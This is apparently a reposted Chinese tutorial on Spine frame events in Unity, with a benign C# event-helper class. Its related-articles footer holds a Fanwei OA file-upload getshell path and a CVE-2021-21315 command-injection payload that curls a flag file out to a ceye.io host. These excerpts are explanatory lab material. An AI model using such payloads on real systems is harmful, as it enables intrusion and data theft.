Unity Spine幀事件

SpinePro中添加事件幀

首先 選中右上角的層級樹 然后選擇事件選項

在這里插入圖片描述

最后在右下角看到 新建 點擊它 新建一個事件

在這里插入圖片描述
在這里插入圖片描述

點擊左上角的設置按鈕 彈出編輯窗口

在這里插入圖片描述
編輯窗口
在這里插入圖片描述

在右上角 動畫欄 可以切換對應的動畫

點坐邊的那個小灰點來切換 亮點代表當前動畫
在這里插入圖片描述

選中幀

在這里插入圖片描述

添加事件 點擊對應事件的🔑圖標 在當前幀添加事件

在這里插入圖片描述

添加成功后 點擊左下角播放按鈕 可以看到 人物身邊有對應事件的文本彈出 表示添加成功

在這里插入圖片描述

Unity監聽Spine幀事件

面板上添加

可以一個事件 添加多個監聽
在這里插入圖片描述

代碼中動態添加

一個事件可以添加多個監聽
在這里插入圖片描述

在這里插入圖片描述

源碼

using System.Collections.Generic;
using UnityEngine;
using Spine.Unity;
using Spine;
using System;
using UnityEngine.Events;public class SpineEventHelper : MonoBehaviour
{[Serializable]public class SpineFrameKey{[SpineEvent] public string key;public UnityEvent handler;}[SerializeField] private List<SpineFrameKey> handlers;private Dictionary<string, UnityEvent> keyFrameEventDict = new Dictionary<string, UnityEvent>( );public const string START_EVENT = "START_EVENT", END_EVENT = "END_EVENT";private SkeletonAnimation skeletonAnimation;private void Start( ){Bind( );}private void Bind( ){skeletonAnimation = GetComponent<SkeletonAnimation>( );if ( skeletonAnimation == null ) return;skeletonAnimation.AnimationState.Event += HandleEvent;skeletonAnimation.AnimationState.Start += delegate ( TrackEntry trackEntry ){if ( keyFrameEventDict.TryGetValue( START_EVENT, out UnityEvent @event ) ){@event.Invoke( );}};skeletonAnimation.AnimationState.End += delegate{if ( keyFrameEventDict.TryGetValue( END_EVENT, out UnityEvent @event ) ){@event.Invoke( );}};foreach ( var handler in handlers ){keyFrameEventDict[ handler.key ] = handler.handler;}}/// <summary>/// 添加自定義的幀事件/// </summary>/// <param name="key"> 幀名稱 </param>/// <param name="handler"> 處理的方法 </param>public void AddCustomEventHandler( string key, UnityAction handler ){if ( keyFrameEventDict.TryGetValue( key, out UnityEvent ev ) ){ev.AddListener( handler );}else{var ue = new UnityEvent( );ue.AddListener( handler );keyFrameEventDict.Add( key, ue );}}/// 移除自定義的幀事件/// </summary>/// <param name="key"> 指定幀名稱 </param>/// <param name="handler"> 處理的方法 如果忽略則移除key的所有幀事件 </param>public void RemoveCustomEventHandler( string key, UnityAction handler = null ){if ( keyFrameEventDict.TryGetValue( key, out UnityEvent ev ) ){if ( handler == null ){ev.RemoveAllListeners( );}else{ev.RemoveListener( handler );}}}/// <summary>/// 添加動畫開始事件/// </summary>/// <param name="handler"> 開始處理事件的方法 </param>public void AddStartEventHandler( UnityAction handler ){if ( keyFrameEventDict.TryGetValue( START_EVENT, out UnityEvent ev ) ){ev.AddListener( handler );}else{var ue = new UnityEvent( );ue.AddListener( handler );keyFrameEventDict.Add( START_EVENT, ue );}}/// <summary>/// 移除開始幀事件/// </summary>/// <param name="handler"></param>public void RemoveStartEventHandler( UnityAction handler ){if ( keyFrameEventDict.TryGetValue( START_EVENT, out UnityEvent ev ) ){ev.RemoveListener( handler );}}/// <summary>/// 添加結束幀事件/// </summary>/// <param name="handler"></param>public void AddEndEventHandler( UnityAction handler ){if ( keyFrameEventDict.TryGetValue( END_EVENT, out UnityEvent ev ) ){ev.AddListener( handler );}else{var ue = new UnityEvent( );ue.AddListener( handler );keyFrameEventDict.Add( END_EVENT, ue );}}/// <summary>/// 移除結束幀事件/// </summary>/// <param name="handler"></param>public void RemoveEndEventHandler( UnityAction handler ){if ( keyFrameEventDict.TryGetValue( END_EVENT, out UnityEvent ev ) ){ev.RemoveListener( handler );}}private void HandleEvent( TrackEntry trackEntry, Spine.Event e ){if ( keyFrameEventDict.TryGetValue( e.Data.Name, out UnityEvent @event ) ){@event.Invoke( );}}/// <summary>/// 清理所有幀事件 /// </summary>public void Clear( ){keyFrameEventDict.Clear( );}private void OnDestroy( ){Clear( );    }
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39034.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39034.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39034.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

突破防線!泛微OA任意文件上傳Getshell

子曰&#xff1a;“巧言令色&#xff0c;鮮矣仁。” 漏洞復現 訪問漏洞url&#xff1a; 存在漏洞的路徑為 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用&#xff1a; 漏洞證明&#xff1a; 文筆生疏&…

ubuntu 20.0.4 搭建nvidia 顯卡環境

一、安裝docker 1、安裝dokcer sudo apt install docker.io2、docker 添加到用戶組 創建docker用戶組 sudo groupadd docker添加當前用戶加入docker用戶組 sudo usermod -aG docker ${USER}重啟docker服務 sudo systemctl restart docker切換或者退出當前賬戶再從新登入 …

openGauss學習筆記-41 openGauss 高級數據管理-匿名塊

文章目錄 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊41.1 語法41.2 參數說明41.3 示例 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊 匿名塊&#xff08;Anonymous Block&#xff09;是存儲過程的字塊之一&#xff0c;沒有名稱。一般用于不頻繁執行的腳本或…

NPM與外部服務的集成(下)

目錄 1、撤消訪問令牌 2、在CI/CD工作流中使用私有包 2.1 創建新的訪問令牌 持續整合 持續部署 交互式工作流 CIDR白名單 2.2 將令牌設置為CI/CD服務器上的環境變量 2.3 創建并簽入特定于項目的.npmrc文件 2.4 令牌安全 3、Docker和私有模塊 3.1 背景&#xff1a;運…

了解異或的好處和用途

1.什么是異或&#xff1f; 異或&#xff1a;對于二進制&#xff0c;相同為0 不同為11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.異或的好處&#xff1f; 異或的好處&#xff1f;1.快速比較兩個值 2.xor a a例如 a 3 011xor 0110003.可以使用 異或 來使某些特定的位翻轉【原因…

移遠RM500U-CN模塊直連嵌入式ubuntu實現撥號上網

目錄 1 平臺&#xff1a; 2 需要準備的資料 3 參考文檔 4 編譯環境與驅動移植 4.1 內核驅動添加廠家ID和產品ID 4. 2.添加零包處理 4.3 增加復位恢復機制 4.4 增加批量輸出 批量輸出 URB 的數量和容量 的數量和容量 4.5 內核配置與編譯 5 QM500U-CN撥號&#xff08;在開…

Ubuntu和centos版本有哪些區別

Ubuntu和CentOS是兩個非常流行的Linux發行版&#xff0c;它們在一些方面有一些區別&#xff0c;如下所示&#xff1a; CentOS的版本發布周期相對較長&#xff0c;主要是因為它是基于RedHatEnterpriseLinux(RHEL)的。這意味著在RHEL發布后才能推出對應的CentOS版本。而Ubuntu則在…

春秋云鏡 CVE-2021-21315

春秋云鏡 CVE-2021-21315 systeminformation存在命令注入 靶標介紹 systeminformation是一個簡單的查詢系統和OS信息包。 啟動場景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登錄ceye.io平臺&#xff0c;curl請求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含義

文章目錄 一、簡介二、如何使用2.1、在IDEA中安裝Lombok插件2.2、添加maven依賴 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用簡寫技巧總結

平時我們寫代碼時最高級的境界是自己寫的東西別人看不懂&#xff01;哈哈哈&#xff01;分享一些自己常用的js簡寫技巧&#xff0c;長期更新&#xff0c;會著重挑選一些實用的簡寫技巧&#xff0c;使自己的代碼更簡潔優雅~ 這里只會收集一些大多數人不知道的用法&#xff0c;但…

MySQL新的版本發布模型 - 創新版本和長支持版本

2023年7月18日&#xff0c;MySQL發布了最新數據庫服務器版本8.1.0&#xff0c;其中變化最大的是MySQL采用了新的版本發布模型。本文是官方博客的中文摘抄和個人理解&#xff0c;原文更精彩: https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-su…

網絡原理(JavaEE初階系列11)

目錄 前言&#xff1a; 1.網絡原理的理解 2.應用層 2.1自定義協議的約定 2.1.1確定要傳輸的信息 2.1.2確定數據的格式 3.傳輸層 3.1UDP 3.1.1UDP報文格式 3.2TCP 3.2.1確認應答 3.2.2超時重傳 3.2.3連接管理 3.2.3.1三次握手 3.2.3.2四次揮手 3.2.4滑動窗口 3.…

bigemap如何添加mapbox地圖?

第一步 打開瀏覽器&#xff0c;找到你要訪問的地圖的URL地址&#xff0c;并且確認可以正常在瀏覽器中訪問&#xff1b;瀏覽器中不能訪問&#xff0c;同樣也不能在軟件中訪問。 以下為常用地圖源地址&#xff1a; 天地圖&#xff1a; http://map.tianditu.gov.cn 包含&…

【SA8295P 源碼分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 內容分析解讀

【SA8295P 源碼分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 內容分析解讀 第一部分、gvm_la_t secpol 類型定義第二部分、gvm_la_t 內存透傳相關配置第三部分、gvm_la_t 中斷透傳相關配置第四部分、gvm_la_t 類型的進程允許通信的所有 secpol 類型系列文章匯總見:《【…

字符串的綜合練習

1、練習-轉換羅馬數字 鍵盤錄入一個字符串 要求1&#xff1a;長度為小于等于9 要求2&#xff1a;只能是數字 將內容變成羅馬數字 下面是阿拉伯數字跟羅馬數字的對比關系&#xff1a; Ⅰ-1 Ⅱ-2 Ⅲ-3 Ⅳ-4 Ⅴ-5 Ⅵ-6 Ⅶ-7 Ⅷ-8 Ⅸ-9 注意點&#xff1a;羅馬數字里面沒有0的&…

51單片機的管腳介紹

圖文介紹 純文字說明 單片機管腳相關結構及其作用如下 電源正極引腳 一般接5V電源&#xff0c;為單片機提供正常工作時的電壓。 電源負極引腳 接地。然后才開始工作。 時鐘引腳 18、19腳為時鐘引腳&#xff08;XTAL2、XTAL1&#xff09;。單片機內部有大量的數字電路&a…

SringBoot-響應

響應數據 如何加載響應數據呢 其實在SpringBoot&#xff0c;已經有名為RessponseBody的方法注解為我們提供的響應的方法&#xff0c;他的作用是將方法返回值直接響應&#xff0c;如果返回值類型為實體對象/集合&#xff0c;則會轉換為JSON格式響應。 而RestController已經在內…

Java真實面試題,offer已到手

關于學習 在黑馬程序員剛剛開始的時候學習盡頭非常足&#xff0c;到后面逐漸失去了一些興趣&#xff0c;以至于后面上課會出現走神等問題&#xff0c;但是畢業時后悔晚矣。等到開始學習項目一的時候&#xff0c;思路總會比別人慢一些&#xff0c;不看講義寫不出來代碼。 建議…

Lie group 專題:Lie 群

Lie group 專題&#xff1a;Lie 群 流形 流形的定義 一個m維流形是滿足以下條件的集合M&#xff1a;存在可數多個稱為坐標卡&#xff08;圖集&#xff09;的子集合族.以及映到的連通開子集上的一對一映射&#xff0c;,稱為局部坐標映射&#xff0c;滿足以下條件 坐標卡覆蓋M…

【Sklearn】基于多層感知器算法的數據分類預測(Excel可直接替換數據)

【Sklearn】基于多層感知器算法的數據分類預測(Excel可直接替換數據) 1.模型原理2.模型參數3.文件結構4.Excel數據5.下載地址6.完整代碼7.運行結果1.模型原理 多層感知器(Multilayer Perceptron,MLP)是一種前饋神經網絡,用于解決分類和回歸問題。它包含輸入層、若干個隱…